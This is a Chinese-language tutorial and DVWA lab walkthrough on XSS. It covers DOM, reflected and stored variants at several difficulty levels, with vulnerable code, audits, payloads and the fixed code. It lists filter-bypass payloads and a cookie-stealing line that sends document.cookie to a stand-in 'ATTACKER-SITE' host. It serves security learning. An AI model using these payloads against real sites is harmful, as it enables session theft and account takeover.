XSS漏洞类型解析和学习
漏洞介绍
定义
XSS本名Cross-Site Scripting跨站脚本,是攻击者将恶意JavaScript脚本植入服务器而形成对访问者的攻击。
攻击流程
- 攻击者通过评论区一类的存储点,将写好的
JavaScript脚本写入服务器。 - 服务器存储后,在用户访问页面时,携带恶意脚本返回给用户。
- 此时恶意代码被执行,用户的信息将会发送到攻击者的服务器,完成攻击。

漏洞详解
原理
- 使用页面元素,比如
<script>JavaScript-Code</script>包含恶意代码植入,若没有相应的防护,该代码作为呈现部分加入到页面上(评论区),很可能被识别为合法的页面元素执行。
攻击方式
- 攻击方式主要有以下三种:
- 使用
document.cookie发送用户的cookie,攻击者可以用来无账号密码登入用户账号。 - 使用
addEventListener记录键盘输入,其中可能记录密码等秘密信息。 - 构造虚假
DOM树,插入虚假登录表单,诱骗用户进入自己构造的钓鱼网站。
- 使用
常用语句
- 打印信息
<script>alert(XSS)</script>
- 发送
cookie
<script>window.location='http://ATTACKER-SITE/?cookie='+document.cookie</script>
- 页面跳转
<script>window.location.href='http://ATTACKER-SITE/';</script>
- 绕过过滤
<sCript>...</scriPt>
<scr<script>ipt>...</scr<script>ipt>
<img src='1' onerror=alert('XSS')>
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
onerror(
event)图片或者视频加载出错时,执行事件event。
eval()可以执行Unicode转义后的语句。
- 鼠标动作执行
<div onmousemove='JavaScript-Code'>
<div onmouseover='JavaScript-Code'>
onmousemove(
event)指针在该区域移动时执行事件event。onmouseover(
event)指针覆盖该区域时执行事件event。
- 手动闭合
";Your-JavaScript-Code;"
当插入的语句出现在变量或者其他位置,为了保证语句执行,需要先闭合前一个语句。
漏洞复现
攻击环境
- 根据网上的分类,找到一个比较好的博客,参考图如下。

- 三种分类方法并不是相互冲突的,可以进行组合,为了条理清晰,这里分开介绍(统一使用
JSXSS)。 - 这里分别使用
DVWA的DOM、Reflected、Stored展开演示。
DOM
介绍
- 每个页面都有自己的
DOM树,通过修改DOM树使得恶意脚本被执行。 DOM即Document Object Model文档对象模型,所以后面代码主要注重前端。
Low
代码
- 前端
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
- 后端
<?php
# No protections, anything goes
?>
审计
- 前端将
GET上传的default参数加入到<select>元素的选项卡中,每当页面被呈现时,恶意代码就可以运行。 - 后端没有做任何防护,意思就是随便注。
document.location.href.indexOf(str)返回字符串str第一个字符的下标。
document.location.href.substring(start, end)构造下标从start到end的子串。
攻击
- 直接在
URL中通过修改default参数上传XSS注入。 
Medium
代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
审计
- 前端代码没变(之后也应该不变),后端增加了对
<script的过滤。 - 这里可以使用没有被屏蔽的标签进行注入。
攻击
- 将
<option>和<select>标签闭合,保证img标签可以插入。 Payload如下
</option></select><img src=1 onerror=alert('XSS')>
- 此时
src链接必然找不到图片并且报错,onerror收到后即执行XSS语句。
High
代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
审计
- 设置白名单,只有规定的几种选项可以输入。
- 若不在白名单内,默认设置为
English。
攻击
- 使用
&或者#分隔参数,$_GET['default']指向分隔符之前的内容,参与后端判断语句。 - 根据前端代码可知,分隔符之后的内容也会载入到前端页面中,故可实现恶意代码的注入。

防御
代码
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
审计
- 之前的恶意代码之所以能够运行就是因为在呈现页面元素时,将
URL中已经编好码的参数使用decodeURI()解码,解码后的代码才可以执行。 - 前端不解码直接呈现参数
lang,导致恶意代码编码后无法被解析。
Reflected
介绍
- 攻击者构造恶意链接诱骗受害者点击,受害者点击后便触发恶意代码运行,完成攻击。
Low
代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
审计
- 前端负责输入,后端接收到
name参数后没有防范措施,直接打印在屏幕上。
攻击
- 直接输入
XSS语句即可。
Medium
代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
审计
- 使用
str_replace()函数,将<script>过滤后打印。
攻击
- 借用
str_replace的过滤机制,<script>被替换为空字符串,构造Payload。
<scr<script>ipt>alert('XSS');</script>
High
代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
审计
- 使用正则表达式过滤法,杜绝了构造
<script>的方法。 - 黑名单太过单一,可以使用其他标签进行注入。
攻击
- 使用
<img>元素,Payload如下。
<img src=1 onerror=alert('XSS')>
防御
代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
审计
- 日常
check token。 htmlspecialchars()函数将name参数转化后,代码无法运行。
htmlspecialchars( string
$string, int$flags= ENT_COMPAT | ENT_HTML401 , string$encoding= ini_get("default_charset") , bool$double_encode=true) : string将特殊字符转换为HTML实体。
Stored
介绍
- 攻击者将恶意代码上传到服务器端存储(如评论区),每当服务器展示时,恶意代码都会运行。
Low
代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
审计
- 对
name和message参数进行修剪,去除多余字符。 - 在前端页面对
name的大小限制为10个字符,对message限制为50个字符。 - 使用
stripslashes()函数对message进行转义字符过滤,预防SQL注入。
trim( string
$str, string$character_mask= " \t\n\r\0\x0B" ) : string除去以下特殊字符。
字符 意义 " " 空格 "\t" 制表符 "\n" 换行符 "\r" 回车符 "\0" 空字节符 "\x0B" 垂直制表符
攻击
name限制太大,只能从message下手,并且没有任何XSS防御手段,直接键入XSS语句即可。
Medium
代码
<?php
...
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
...
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
...
审计
- 使用
addslashes()函数对message中的某些字符进行过滤。 - 使用
strip_tags()函数去除标签。 - 对
name中的<script>标签进行屏蔽。
strip_tags( string
$str, string$allowable_tags= ? ) : string从字符串str中去除HTML和PHP标签。addslashes( string
$str) : string在字符串str中的单引号(')、双引号(")、反斜线(\)与NUL(null字符)前,加上反斜线(\)转义。
攻击
message这个注入点被完全屏蔽了,但是name只是简单过滤,于是从name下手。- 前端对
name限制了文本长度,打开F12修改前端限制。 
- 使用
name作为注入点,对<script>的屏蔽构造Payload。
<scr<script>ipt>alert('XSS');</scr<script>ipt>
High
代码
<?php
...
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
...
审计
- 知道
Medium会放过name注入后,对<script>进行了正则表达式的完全屏蔽。
攻击
- 屏蔽了
<script>标签后,使用其他标签注入XSS语句即可。
防御
代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
审计
- 日常
check token。 - 在
Medium的基础上,对name施加同message一样的过滤,使得注入点消失。 - 使用
PDO机制预防SQL注入。


浙公网安备 33010602011771号